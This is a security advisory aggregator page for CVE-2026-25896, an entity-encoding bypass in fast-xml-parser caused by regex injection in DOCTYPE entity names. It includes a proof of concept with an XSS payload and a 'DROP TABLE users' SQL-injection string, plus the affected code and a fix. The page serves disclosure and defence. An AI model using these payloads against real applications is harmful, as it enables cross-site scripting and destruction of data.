Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names

CVSS 3.1 9.3 CRITICALEUVD CVSS 3.1 9.3 CVSS 3.1 · [email protected] · Secondary 9.3 CRITICALCVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary 7.1 HIGHCVSS_V3 Publisher rating CRITICALFixed by fast-xml-parser 5.3.5Fixed by fast-xml-parser 4.5.4KEV status unknown

cve-program · CVE-2026-25896

Published

fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.

Read the publisher's advisory

euvd · EUVD-2026-7529

Published

fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.

Read the publisher's advisory

nvd · CVE-2026-25896

Published

fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.

Read the publisher's advisory

osv · GHSA-m7jm-9gc2-mpf2

Published

# Entity encoding bypass via regex injection in DOCTYPE entity names ## Summary A dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`&lt;`, `&gt;`, `&amp;`, `&quot;`, `&apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. ## Details The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec. In `DocTypeReader.js`, entity names are passed directly to `RegExp()`: ```js entities[entityName] = { regx: RegExp(`&${entityName};`, "g"), val: val }; ``` An entity named `l.` produces the regex `/&l.;/g` where `.` matches **any character**, including the `t` in `&lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `&lt;` entirely. The same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included: ```js // v6 EntitiesParser.js line 96 const specialChar = "!?\\/[]$%{}^&*()<>|+"; // no dot ``` ## Shadowing all 5 built-in entities | Entity name | Regex created | Shadows | |---|---|---| | `l.` | `/&l.;/g` | `&lt;` | | `g.` | `/&g.;/g` | `&gt;` | | `am.` | `/&am.;/g` | `&amp;` | | `quo.` | `/&quo.;/g` | `&quot;` | | `apo.` | `/&apo.;/g` | `&apos;` | ## PoC ```js const { XMLParser } = require("fast-xml-parser"); const xml = `<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY l. "<img src=x onerror=alert(1)>"> ]> <root> <text>Hello &lt;b&gt;World&lt;/b&gt;</text> </root>`; const result = new XMLParser().parse(xml); console.log(result.root.text); // Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b> ``` No special parser options needed - `processEntities: true` is the default. When an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `<img onerror>` fires. `&amp;` can be shadowed too: ```js const xml2 = `<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY am. "'; DROP TABLE users;--"> ]> <root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`; const r = new XMLParser().parse(xml2); console.log(r.root); // SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien' ``` ## Impact This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected. - Default config, no special options - Attacker can replace any `&lt;` / `&gt;` / `&amp;` / `&quot;` / `&apos;` with arbitrary strings - Direct XSS vector when parsed XML content is rendered in a page - v5 and v6 both affected ## Suggested fix Escape regex metacharacters before constructing the replacement regex: ```js const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); entities[entityName] = { regx: RegExp(`&${escaped};`, "g"), val: val }; ``` For v6, add `.` to the blacklist in `validateEntityName`: ```js const specialChar = "!?\\/[].{}^&*()<>|+"; ``` ## Severity **CWE-185** (Incorrect Regular Expression) **CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)** Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

Read the publisher's advisory

Affected versions, risk and source history

Related advisories and sources

Publishers link these advisories through the identifiers shown below. A shared identifier or date alone does not tell you whether your software is affected or whether the advisories describe the same cause.

CVE-2026-25896 · CVE overview and exploitation status

EUVD-2026-7529

GHSA-m7jm-9gc2-mpf2

cve-program · CVE-2026-25896

euvd · EUVD-2026-7529

nvd · CVE-2026-25896

osv · GHSA-m7jm-9gc2-mpf2

Related changes

Linked by CVE identifier

No related changes are available here.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 06:00 UTC · 254 of 275 readable · 250 fully read · documentation 469/469 current